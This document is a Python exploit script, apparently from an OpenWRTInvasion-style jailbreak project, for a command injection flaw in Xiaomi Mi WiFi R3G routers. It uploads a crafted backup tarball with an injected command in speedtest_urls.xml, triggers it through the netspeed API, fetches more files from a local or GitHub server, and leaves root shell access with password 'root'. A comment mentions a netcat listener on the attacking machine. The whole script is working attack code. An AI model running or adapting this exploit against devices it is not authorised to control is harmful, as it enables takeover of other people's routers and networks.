#!/usr/bin/python # There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23. # The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, # so you can control the contents of the files in the decompressed directory. # In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml, # and there is a command injection vulnerability. # discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security # HOW TO RUN # Install requirements # pip3 install -r requirements.txt # Run the script # python3 remote_command_execution_vulnerability.py import os import shutil import tarfile import requests import sys import re import time import random import hashlib import platform import socket # make sure that script.sh on windows uses \n if platform.system() == "Windows": with open("script.sh", "rt", encoding = "UTF-8") as f: content = f.read() with open("script.sh", "wt", encoding = "UTF-8", newline="\n") as f: f.write(content) router_ip_address="miwifi.com" #router_ip_address = "192.168.31.1" router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address # get stok def get_stok(router_ip_address): try: r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) except: print ("Xiaomi router not found...") return None try: mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0] except: print ("Xiaomi router not found...") return None key = re.findall(r'key: \'(.*)\',', r0.text)[0] nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) router_password = input("Enter router admin password: ") account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) r1 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address), data = data, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) try: stok = re.findall(r'"token":"(.*?)"',r1.text)[0] except: print("Failed to get stok in login response '{}'".format(r1.text)) return None return stok stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") print("""There two options to provide the files needed for invasion: 1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`. 2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""") use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1" # From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09 # In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444 command = "((sh /tmp/script.sh exploit) &)" # proxies = {"http":"http://127.0.0.1:8080"} proxies = {} if os.path.exists("build"): shutil.rmtree("build") os.makedirs("build") # make config file speed_test_filename = "speedtest_urls.xml" with open("speedtest_urls_template.xml", "rt", encoding = "UTF-8") as f: template = f.read() data = template.format(router_ip_address=router_ip_address, command=command) # print(data) with open("build/speedtest_urls.xml", "wt", encoding = "UTF-8", newline = "\n") as f: f.write(data) print("****************") print("router_ip_address: " + router_ip_address) print("stok: " + stok) print("file provider: " + ("local file server" if use_local_file_server else "remote github repository")) print("****************") # Make tar with tarfile.open("build/payload.tar.gz", "w:gz") as tar: tar.add("build/speedtest_urls.xml", "speedtest_urls.xml") tar.add("script.sh") # tar.add("busybox") # tar.add("extras/wget") # tar.add("extras/xiaoqiang") # upload config file print("start uploading config file...") r1 = requests.post( "http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok), files={"image": open("build/payload.tar.gz", 'rb')}, proxies=proxies ) # print(r1.text) def send_test_netspeed_request(router_ip_address, stok, port): r = requests.get( "http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port), proxies=proxies ) # print(r.text) # exec download speed test, exec command print("start exec command...") if use_local_file_server: from tcp_file_server import TcpFileServer file_server = TcpFileServer("script_tools") with file_server: # The TCP file server will use a random port number. # And this port number will be sent to the router luci web server through query parameters of testing net speed request here. # Then in the injected `script.sh`, we can get the client IP address and file server port # through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files. send_test_netspeed_request(router_ip_address, stok, file_server.port) else: # Use remote github repository. port setted to 0. send_test_netspeed_request(router_ip_address, stok, port=0) retry = 3 delay = 1 timeout = 3 def isOpen(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) try: s.connect((ip, int(port))) s.shutdown(socket.SHUT_RDWR) return True except: return False finally: s.close() def checkHost(ip, port): ipup = False for i in range(retry): if isOpen(ip, port): ipup = True break else: time.sleep(delay) return ipup if checkHost(router_ip_address, 22): print("done! Now you can connect to the router using several options: (user: root, password: root)") print("* telnet {}".format(router_ip_address)) print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) print("* ftp: using a program like cyberduck") else: print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.") print("* Maybe your firmware version is not supported, please have a look at https://github.com/acecilia/OpenWRTInvasion/blob/master/README.md#unsupported-routers-and-firmware-versions") print("* Anyway you can try it with: telnet {}".format(router_ip_address))